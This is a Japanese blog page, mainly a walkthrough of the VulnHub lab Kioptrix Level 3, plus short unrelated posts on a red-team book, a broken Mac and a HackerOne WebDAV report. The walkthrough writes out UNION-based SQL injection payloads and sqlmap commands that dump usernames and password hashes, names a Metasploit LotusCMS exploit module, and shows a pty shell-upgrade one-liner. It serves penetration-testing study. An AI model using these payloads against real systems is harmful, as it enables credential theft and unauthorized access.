Kioptrix: Level1.2の侵入フェーズを図解してみる
前回のいろいろ書いたけど自身のまとめ方が下手すぎた。。。
特に理解したかった侵入フェーズについて、図解した
とりあえず流れはこれ?
ルートA
1.phpmyadminをadmin/””でログインし、テーブルスキーマ情報を取得
2.gallery.phpに対して?id=1等で入力確認、SQL Injectionができる脆弱性を確認
3.上記を用いてユーザ名およびハッシュ化されたPW情報を搾取
4.JohnにてPW解析、loneferretユーザのログインPWがと判明
5.loneferretユーザでSSHログイン、権限昇格へ
ルートB(msf使用)
1.LotusCMSの使用を確認し、exploitを実行
2.shellを奪取し、gconfig.phpよりphpmyadminに関するクレデンシャルを入手
3.クレデンシャルを用いてphpmyadminにログイン
4.テーブルを確認し、loneferretおよびPWハッシュを確認
5.JohnにてPW解析、loneferretユーザのログインPWがと判明
6.loneferretユーザでSSHログイン、権限昇格へ
OSCPではsqlmapやらmsfやらが使えないと聞くので、
ルートAのほうが正攻法っぽい気がする・・・
で、これらのまとめ図が以下?
実際に試すときは、ルート2つを意識してやってみたいと思う
これでとりあえず理解は深まったかな。。。
※SQL Injectionの中身とか、その辺がちょっとまだまだです
では。
【VulnHub】Kioptrix: Level3
参考文献
参考文献に以下を使用させていただきました
まとめ(途中)
簡易ルート
etc/hostsにホストを追加
nikto, dirbで/gallary/, /phpmyadmin/の存在を確認
index.phpにBlog, Loginページの存在を確認
Blogページの投稿されている記事を確認
LoginページにてCMSがLotusCMSであることを確認
phpmyadminのページでadmin/""でログインできることを確認
phpmyadminのログイン後、一部テーブルがみれることを確認
gallaryページに遷移し、webサイトの存在を確認
A.直接SQLインジェクション
gallary,phpページで?id=1を入れることで、エラー表示することを確認
gallary,phpページで?id=""を入れることで、上記エラーが解消されることを確認
.php?id=-1 union select 1,2,3,4,5,6--を入れることで、ページに2が表示されていることを確認
2をversion(). database(), user()などに変化させ、出力が変わることを確認
下記クエリを実行し、データベースにあるテーブルとその名前を列挙
.php?id=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
下記クエリを実行し、dev_accountsのデータを列挙
.php?id=-1 union select 1,group_concat(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name=CHAR(100, 101, 118, 95, 97, 99, 99, 111, 117, 110, 116, 115)--
下記クエリを実行し、ユーザ名、PWを列挙
.php?id=-1 union select 1,group_concat(username、0x3a、password),3,4,5,6 FROM dev_accounts--
B.sqlmapを使ったクラック
以下コマンドにて、dbを列挙
root@kali:~#sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" --dbs
以下コマンドにて、galleryDBのテーブルを列挙
root@kali:~#sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" -p id --tables -D gallery
以下コマンドにて、ユーザ名及びPWを列挙
root @ kali:〜#sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1" -p id -T dev_accounts --dump
C,LotusCMSへのExploit
msfを用いて、exploit/multi/http/lcms_php_execを実行してmetapreter立ち上げ
shellおよびpythonでインタラクティブなshellを立ち上げ
python -c "import pty;pty.spawn('/bin/bash')"
ディレクトリの探索を行い、gconfig.phpにphpmyadminのrootのクレデンシャル情報を確認
探索
侵入
流れについては記事にしました
詳細
権限昇格
詳細
その他
サイバーセキュリティレッドチーム実践ガイド読んでます
こんばんわ
以前、Twitterで流れてきて気になって即買った本を積んでいたのですが、
PCが不調になったのでいい機会と思って読み始めました
またもや内容が自分には重すぎる気がするのですが、まずは読んでみようかと
内容については後日共有してみたいですね
Macが調子悪い…&GitHub使おかな
こんばんわ
在宅勤務が板についてきたsyachiです
この前、愛用してるMacBookProがディスプレイに横縞入りまくりで動かなく…
再起動とかググってやれること色々したんだけどダメそう
ダメ元でOS入れ直しまでしたほうがいいかなぁ…
あと、その流れで家に眠ってたLets noteでkaliをブートして遊んでるんですが、
インストールがうまくいかず、毎回Liveで立ち上げてるので設定も遊んだ内容もリスタートで吹っ飛びます
なので、
せめてやった事とか使った、作ったツールとかはまとめてリポジトリ化してしまおうかと…
残骸を見返す事で何か発見があるやもしれないしね?
ということで、変な形でgitの扱いが始まりましたよーということでした
P.S.
最近在宅で通勤の時間(自由に何かをやる時間)がなくなってつらい
以上!
HackerOneのレポート読む14
今回はこちら
https://hackerone.com/reports/258084
タイトルは
Access to all files of remote user through shared file
方法としては、
AさんBさんのアカウントを作成
Bさんがファイル共有するためにwebdavを使う
ファイルがレギュラーファイルとして共有される
共有化されたファイルをコピーして同一フォルダにペーストする